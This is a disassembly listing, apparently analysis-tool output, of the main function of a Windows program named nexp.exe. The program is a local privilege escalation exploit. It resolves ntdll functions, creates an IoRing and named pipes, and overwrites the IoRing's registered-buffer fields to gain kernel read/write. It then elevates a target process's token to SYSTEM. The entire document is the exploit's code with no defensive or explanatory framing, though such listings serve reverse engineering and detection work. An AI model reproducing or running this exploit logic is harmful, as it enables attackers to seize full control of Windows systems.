Function at 0x140001360
Capabilities:
Create pipe
Link many functions at runtime

Disassembly:
push rbp
push rdi
sub rsp, 0x48
xor ebp, ebp
mov r9, rdx
mov qword [rsp + 0x70], rbp
mov edi, ebp
cmp ecx, 2
je 0x14000138e
lea rcx, str.usage:_nexp.exe__pid__n
call fcn.140001010
lea eax, [rbp - 1]
add rsp, 0x48
pop rdi
pop rbp
ret
mov rcx, qword [r9 + 8]
xor edx, edx
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x40], rsi
lea r8d, [rdx + 0xa]
call fcn.14000818c
mov edx, eax
lea rcx, str.____Attempting_to_elevate_pid__i_n
mov esi, eax
call fcn.140001010
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtCreateFile
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.ntdll.dll
mov qword [0x140023cb8], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtDeviceIoControlFile
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.ntdll.dll
mov qword [0x140023cc0], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtCreateIoCompletion
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.ntdll.dll
mov qword [0x140023ca8], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtSetIoCompletion
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.ntdll.dll
mov qword [0x140023cb0], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtQuerySystemInformation
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp qword [0x140023cb0], rbp
mov qword [0x140023ca0], rax
je 0x140001494
cmp qword [0x140023ca8], rbp
je 0x140001494
cmp qword [0x140023cb8], rbp
je 0x140001494
cmp qword [0x140023cc0], rbp
je 0x140001494
test rax, rax
jne 0x1400014b3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
test eax, eax
je 0x1400014b3
mov edx, eax
lea rcx, str.____Failed_to_get_address_of_NT_functions:__0x_n
call fcn.140001010
jmp 0x1400016cd
lea rax, [0x140023c78]
mov qword [rsp + 0x78], rbp
mov r9d, 0x20000
mov qword [rsp + 0x20], rax
mov r8d, 0x10000
mov rdx, rbp
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_CreateIoRing]
mov ebx, eax
test eax, eax
jne 0x140001622
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8, qword [0x140023c78]
lea rcx, [rsp + 0x70]
mov edx, eax
mov r8, qword [r8]
call fcn.1400016e0
mov rdi, qword [rsp + 0x70]
mov ebx, eax
test eax, eax
jne 0x140001622
mov qword [rsp + 0x38], rbp
lea edx, [rax + 3]
mov dword [rsp + 0x30], ebp
lea rcx, str..pipeioring_in
mov dword [rsp + 0x28], 0x1000
mov r9d, 0xff
xor r8d, r8d
mov dword [rsp + 0x20], 0x1000
mov qword [0x140023c70], rdi
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
mov qword [rsp + 0x38], rbp
lea edx, [rbx + 3]
mov dword [rsp + 0x30], ebp
lea rcx, str..pipeioring_out
mov dword [rsp + 0x28], 0x1000
mov r9d, 0xff
xor r8d, r8d
mov dword [rsp + 0x20], 0x1000
mov qword [0x140022a38], rax
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
cmp qword [0x140022a38], 0xffffffffffffffff
mov qword [0x140022a48], rax
je 0x14000161a
cmp rax, 0xffffffffffffffff
je 0x14000161a
mov qword [rsp + 0x30], rbp
lea r8d, [rbx + 3]
mov dword [rsp + 0x28], 0x80
lea rcx, str..pipeioring_in
xor r9d, r9d
mov dword [rsp + 0x20], 4
mov edx, 0xc0000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x30], rbp
lea r8d, [rbx + 3]
mov dword [rsp + 0x28], 0x80
lea rcx, str..pipeioring_out
xor r9d, r9d
mov qword [0x140022a30], rax
mov edx, 0xc0000000
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp qword [0x140022a30], 0xffffffffffffffff
mov qword [0x140022a40], rax
je 0x14000161a
cmp rax, 0xffffffffffffffff
jne 0x140001639
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
test ebx, ebx
je 0x140001639
mov edx, ebx
lea rcx, str.____IORING_setup_failed:__0x_n
call fcn.140001010
jmp 0x1400016cd
mov rdx, rdi
lea rcx, str.___IoRing_Obj_Address_at__llx_n
call fcn.140001010
lea rcx, [rdi + 0xbb]
call fcn.140001070
mov ebx, eax
test eax, eax
je 0x14000166a
mov edx, eax
lea rcx, str.____IoRing__RegBuffers_overwrite_failed:__0x_n
call fcn.140001010
jmp 0x1400016cd
lea rcx, str.___IoRing__RegBuffers_overwritten_with_address_0x1000000_n
call fcn.140001010
lea rcx, [rdi + 0xb0]
call fcn.140001070
mov ebx, eax
test eax, eax
je 0x140001698
mov edx, eax
lea rcx, str.____IoRing__RegBuffersCount_overwrite_failed:__0x_n
call fcn.140001010
jmp 0x1400016cd
lea rcx, str.___IoRing__RegBuffersCount_overwritten_with_0x1_n
call fcn.140001010
mov ecx, esi
call fcn.1400019b0
mov ebx, eax
test eax, eax
je 0x1400016c1
mov edx, eax
lea rcx, str.____LPE_Failed:__0x_n
call fcn.140001010
jmp 0x1400016cd
lea rcx, str.___Target_process_token_elevated_to_SYSTEM__n
call fcn.140001010
mov rsi, qword [rsp + 0x40]
mov eax, ebx
mov rbx, qword [rsp + 0x60]
add rsp, 0x48
pop rdi
pop rbp
ret